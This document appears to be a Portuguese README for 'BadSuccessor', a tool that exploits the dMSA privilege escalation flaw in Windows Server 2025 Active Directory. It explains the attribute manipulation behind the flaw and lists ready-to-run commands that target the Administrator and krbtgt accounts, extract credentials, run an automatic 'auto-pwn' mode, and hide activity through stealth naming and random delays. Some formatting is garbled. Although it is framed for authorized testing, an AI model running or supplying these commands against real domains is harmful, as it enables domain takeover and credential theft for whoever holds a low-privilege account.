
Explora a vulnerabilidade de escalonamento de privilégios dMSA no Windows Server 2025 para enumerar OUs graváveis, escalonar para usuários de domínio arbitrários, extrair credenciais e possibilitar a tomada de controle do domínio em avaliações de segurança de AD autorizadas.
Uma ferramenta de teste de penetração que explora a vulnerabilidade de escalonamento de privilégios dMSA (delegated Managed Service Account) em ambientes Active Directory do Windows Server 2025.
Esta ferramenta destina-se exclusivamente a testes de penetração autorizados e fins de pesquisa em segurança. O uso desta ferramenta contra sistemas sem permissão explícita por escrito é ilegal e antiético. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.
IMPORTANTE: Esta ferramenta está em desenvolvimento e testes ativos.
Incentivamos a comunidade de segurança a:
Ao usar esta ferramenta, você reconhece que ela está em desenvolvimento ativo e pode exigir modificações para o seu ambiente específico.
O BadSuccessor explora uma vulnerabilidade de escalonamento de privilégios no recurso de Conta de Serviço Gerenciada delegada (dMSA) do Windows Server 2025. A vulnerabilidade permite que atacantes com permissões mínimas escalonem privilégios para qualquer usuário do domínio, incluindo Administradores de Domínio.
Esta ferramenta é baseada na excelente pesquisa de Yuval Gordon, da Akamai Technologies:
A vulnerabilidade existe no processo de migração do dMSA, onde:
msDS-ManagedAccountPrecededByLink ou ms-DS-Managed-Account-Preceded-By-Link para apontar para um usuário alvomsDS-DelegatedMSAState ou ms-DS-Delegated-MSA-State como 2 (migração concluída)Além disso, a estrutura KERB-DMSA-KEY-PACKAGE contém as chaves de senha do usuário alvo, permitindo a extração de credenciais.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Nota**: A ferramenta foi testada com impacket 0.12.0. Avisos de compatibilidade de versão são exibidos em tempo de execução.
### Dependências Opcionais```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Exemplos de Início Rápido
#### 1. Modo Dry Run (NOVO) - Testar Sem Fazer Alterações```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Realizar o Ataque```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Gerenciamento de Sessão (NOVO)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json